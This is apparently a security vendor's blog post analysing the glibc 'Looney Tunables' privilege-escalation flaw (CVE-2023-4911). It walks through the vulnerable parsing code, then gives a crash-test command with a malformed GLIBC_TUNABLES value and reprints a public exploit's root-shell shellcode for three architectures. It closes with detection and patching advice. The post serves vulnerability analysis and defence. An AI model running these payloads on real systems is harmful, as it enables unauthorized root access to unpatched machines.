Looney Tunables (CVE-2023-4911): Unexpected Input Compromises System

Blog Author
Siddartha Malladi

Coauthored by Arpit Kataria of Uptycs Threat Research Team

 

A significant new vulnerability (CVE-2023-4911), also known as the "Looney Tunables" exploit, has been identified in a wide range of Linux systems. The flaw resides in the GLIBC_TUNABLES feature of the GNU C Library (GLIBC), a standard setting that allows users to customize runtime behaviors in Linux. Unfortunately, this feature is susceptible to manipulation through poorly formed input, potentially granting attackers unauthorized elevated system privileges. Immediate attention and remediation are required to secure affected systems and prevent exploitation.

The consequences of this exploit range from potential data breaches to a total system takeover, especially in systems running unpatched versions of glibc.

 

 

Security implications of glibc's "Looney tunables" exploit

When it comes to the security of a computer system, the importance of the GNU C Library, often referred to as glibc, cannot be overstated. Glibc serves as the cornerstone of the Linux operating system, responsible for providing fundamental functions and system calls that enable applications to run smoothly. However, its critical role also makes it an enticing target for security researchers and attackers alike. Over the years, numerous vulnerabilities have been discovered in glibc, some with significant consequences for system security. 

Dynamic loader is a fundamental component of the glibc library and other similar libraries on Unix-like operating systems. The dynamic loader is responsible for finding, loading, and initializing shared objects or shared libraries needed by a program when it is executed. These shared libraries contain code and data that multiple programs can use simultaneously, helping to optimize memory usage and promote code reuse. The dynamic loader's primary role is to locate the shared libraries required by a program, set up the program's execution environment, and then execute the program.

The dynamic loader is of extreme security importance. It operates with elevated privileges in certain scenarios, specifically when a local user executes programs with special privileges. These scenarios include running set-user-ID (setuid) programs, set-group-ID (setgid) programs, or programs with Linux capabilities. 

The tunable exploit in glibc, often referred to as the "Looney tunables" vulnerability identified as CVE-2023-4911, is a local privilege escalation issue that affects various Linux distributions, including Fedora, Ubuntu, Debian, and more. An exception is alpine because it uses musl libc, not glibc. This exploit leverages a weakness in the dynamic loader through the GLIBC_TUNABLES environment variable. A "tunable" in glibc is a mechanism that allows you to modify the library's behavior without recompilation, making it useful for debugging and fine-tuning purposes.

 

Technical details

When you run a program in Linux, especially one that relies on shared libraries, like .so files, the operating system has to bring in these libraries and connect them to your program. This way, your program can use functions from these shared libraries while it's running. This process is taken care of by a special program called "ld.so," which is usually part of the glibc library. Every program in Linux has a part called ".interp," which tells the operating system where to find the specific ld.so it needs. This ensures that the right loader is used for each program.

When you compile a program, you can tell ld.so (the library loader) to search in specific places for libraries. These locations are then saved in your program's ELF file. When you run your program, ld.so will check these locations first, giving you the ability to choose where it looks for libraries, instead of relying on the default paths.

To leverage this vulnerability, attackers can manipulate the way programs locate shared libraries. They can craft a program to specify an alternate path, pointing to a tampered shared library loaded with malicious code aiming to escalate privileges. While the loader typically conducts thorough checks to sanitize such operations, there exists a loophole in its process that it doesn't address, and this oversight is what attackers target.

Let’s analyze the vulnerable code:

 

269 void

270 __tunables_init (char **envp)

271 {

272   char *envname = NULL;

273   char *envval = NULL;

274   size_t len = 0;

275   char **prev_envp = envp;

...

279   while ((envp = get_next_env (envp, &envname, &len, &envval,

280                                &prev_envp)) != NULL)

281     {

282       if (tunable_is_name ("GLIBC_TUNABLES", envname))

283         {

284           char *new_env = tunables_strdup (envname);

285           if (new_env != NULL)

286             parse_tunables (new_env + len + 1, envval);

287           /* Put in the updated envval.  */

288           *prev_envp = new_env;

289           continue;

290         } 

 

This code is responsible for processing the GLIBC_TUNABLES environment variable, which enables developers to adjust the behavior of runtime libraries dynamically. The primary purpose of this code is to extract and interpret the tunable settings specified in GLIBC_TUNABLES, ensuring that they won't introduce security vulnerabilities or unexpected behaviors.

 

We can see in line 282, the code scans through the environment variables to find any variables named “GLIBC_TUNABLES”. When it finds one, it takes the content of that variable and places it in a new variable called new_env. Later, at line 286, a method named parse_tunables is invoked to clean and prepare the data within new_env. This environment variable is essential because it provides developers with a way to fine-tune the behavior of the GLIBC libraries based on their application's specific requirements.

 

Let’s look at parse_tunables method:

 

162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168   char *p = tunestr;
169   size_t off = 0;
170 
171   while (true)
172     {
173       char *name = p;
174       size_t len = 0;
175 
176       /* First, find where the name ends.  */
177       while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178         len++;
179 
180       /* If we reach the end of the string before getting a valid name-value
181          pair, bail out.  */
182       if (p[len] == '\0')
183         {
184           if (__libc_enable_secure)
185             tunestr[off] = '\0';
186           return;
187         }
188 
189       /* We did not find a valid name-value pair before encountering the
190          colon.  */
191       if (p[len]== ':')
192         {
193           p += len + 1;
194           continue;
195         }
196 
197       p += len + 1;
198 
199       /* Take the value from the valstring since we need to NULL terminate it.  */
200       char *value = &valstring[p - tunestr];
201       len = 0;
202 
203       while (p[len] != ':' && p[len] != '\0')
204         len++;
205 
206       /* Add the tunable if it exists.  */
207       for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208         {
209           tunable_t *cur = &tunable_list[i];
210 
211           if (tunable_is_name (cur->name, name))
212             {
...
219               if (__libc_enable_secure)
220                 {
221                   if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222                     {
223                       if (off > 0)
224                         tunestr[off++] = ':';
225 
226                       const char *n = cur->name;
227 
228                       while (*n != '\0')
229                         tunestr[off++] = *n++;
230 
231                       tunestr[off++] = '=';
232 
233                       for (size_t j = 0; j < len; j++)
234                         tunestr[off++] = value[j];
235                     }
236 
237                   if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238                     break;
239                 }
240 
241               value[len] = '\0';
242               tunable_initialize (cur, value);
243               break;
244             }
245         }
246 
247       if (p[len] != '\0')
248         p += len + 1;
249     }
250 }

 

The function parse_tunables() comes into play to dissect the GLIBC_TUNABLES content. It's responsible for breaking down the GLIBC_TUNABLES into individual name-value pairs, primarily by looking for equal signs (=) and colons (:) in the copied data. Importantly, the code is security-conscious. It spots and removes potentially risky tunables tagged as SXID_ERASE, which could command GLIBC to tinker with security attributes or permissions, possibly jeopardizing system safety.

A crucial issue arises when GLIBC_TUNABLES holds unexpected input, like "tunable1=tunable2=AAA." Here's the problem: the code doesn't handle this kind of malformed input. Instead of rejecting it, it mistakenly treats the entire input as a valid setting. This hiccup occurs when the tunables are of type SXID_IGNORE, which should be left untouched. During the first loop run, the entire "tunable1=tunable2=AAA" is crammed into tunestr, going beyond its allocated space. This overflow might lead to unpredictable outcomes or security concerns.

 

Exploitation

 

Before we get technical let’s see the POC we can execute to determine whether or not our system is vulnerable.

env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help

 

Figure 1 - Proof-of-concept command to check if the system is vulnerable or notFigure 1 - Proof-of-concept command to check if the system is vulnerable or not

 

If we get output as “Segmentation fault (core dumped)” that means our system is vulnerable. Otherwise, it will open the help menu.

 

Now let’s look at the exploit shared by blasty and reverse engineer the exploit. Here an important point to note is before executing code from an untrusted source, we should look at the code to see if there is any malicious code or not. If we are not able to identify, we should always execute in a sandbox environment.

 

Upon analyzing the exploit code, we observed that it searches for "libc.so.6". Once found, it modifies this file to incorporate a malicious shellcode. Subsequently, the exploit creates a new directory and copies the tampered file into it. When the program runs, it references this modified file.

 

ARCH = {
    "i686": {
        "shellcode": unhex(
            "6a3158cd8089c36a465889d9cd80"
            + "6a68682f2f2f73682f62696e89e368010101018134247269010131c9516a045901e15189e131d26a0b58cd80"
        ),
        "exitcode": unhex("6a665b6a0158cd80"),
        "stack_top": 0xC0000000,
        "stack_aslr_bits": 23,
    },
    "x86_64": {
        "shellcode": unhex(
            "6a6b580f0589c789c289c66a75580f05"
            + "6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
        ),
        "exitcode": unhex("6a665f6a3c580f05"),
        "stack_top": 0x800000000000,
        "stack_aslr_bits": 34,
    },
    "aarch64": {
        "shellcode": unhex(
            "e81580d2010000d4e10300aae20300aa681280d2010000d4"
            + "ee458cd22ecdadf2eee5c5f2ee65eef20f0d80d2ee3fbfa9e0030091e1031faae2031faaa81b80d2010000d4"
        ),
        "exitcode": unhex("c00c80d2a80b80d2010000d4"),
        "stack_top": 0x1000000000000,
        "stack_aslr_bits": 30,
    },
}

 

Let’s analyze the shell code of x86_64. We are using the below python script and opening the output in Ghidra.

 

shellcode = "6a665f6a3c580f05" # This is the exit code

 

with open("shellcode_analyze.out", "wb") as f:

    f.write(bytes.fromhex(shellcode))

 

Figure 2 - Decompiled view of the shellcodeFigure 2 - Decompiled view of the shellcode

 

Here we can see that whenever SYSCALL is made it will return “60,” which is the exit code. Refer to Linux System Call Tables

Now let’s analyze the malicious shellcode i.e. "6a6b580f0589c789c289c66a75580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"

 

Figure 3 - Detailed decompiled view of the shellcodeFigure 3 - Detailed decompiled view of the shellcode

 

When we run our Python script on this and open the output in Ghidra we observe there are 3 SYSCALLS made with code 107, 117, 59. 107 stands for getting effective user_id, 117 stands for setting user_id, and 59 stands for sys_execve which is used to execute programs. 

Basically, it goes by the file owner: as long as the file owner is root it will escalate the privileges.

Let’s execute the exploit and see if we get the shell with elevated privileges.

 

Figure 4 - Exploitation of the vulnerabilityFigure 4 - Exploitation of the vulnerability

 

 

We get the shell with elevated privileges, but we observe one more thing in the /var/log/kern.log, There are a lot of segfault errors which indicate it is a local account brute force and this exploit actually triggered that, so it is a noisy exploit.

 

Figure 5 - Segfault Storm in /var/log/kern.logFigure 5 - Segfault Storm in /var/log/kern.log

 

Detection through Uptycs XDR

Should your system have a vulnerable version of glibc, Uptycs XDR offers robust vulnerability scanning features for timely detection. Uptycs XDR stores vulnerability scan results in a dedicated table, accessible via SQL queries, as shown below: 

select cve_list, package_name, package_version, cvss_score, os from vulnerabilities where cve_list = 'CVE-2023-4911'

 

Figure 6 - Detection of the vulnerability in Uptycs XDRFigure 6 - Detection of the vulnerability in Uptycs XDR

 

To address this vulnerability, it is crucial to update the glibc library to the latest version available. This update will contain patches and security enhancements to mitigate the "Looney tunables" vulnerability.

 

Conclusion

In conclusion, CVE-2023-4911 is a serious local privilege escalation vulnerability, and its exploitation could lead to severe security breaches. System administrators and users should be aware of this issue and take necessary measures to patch their systems and safeguard against potential attacks. Additionally, monitoring system logs for any unusual activities, such as segfault errors, is crucial in identifying and responding to attempts to exploit this vulnerability.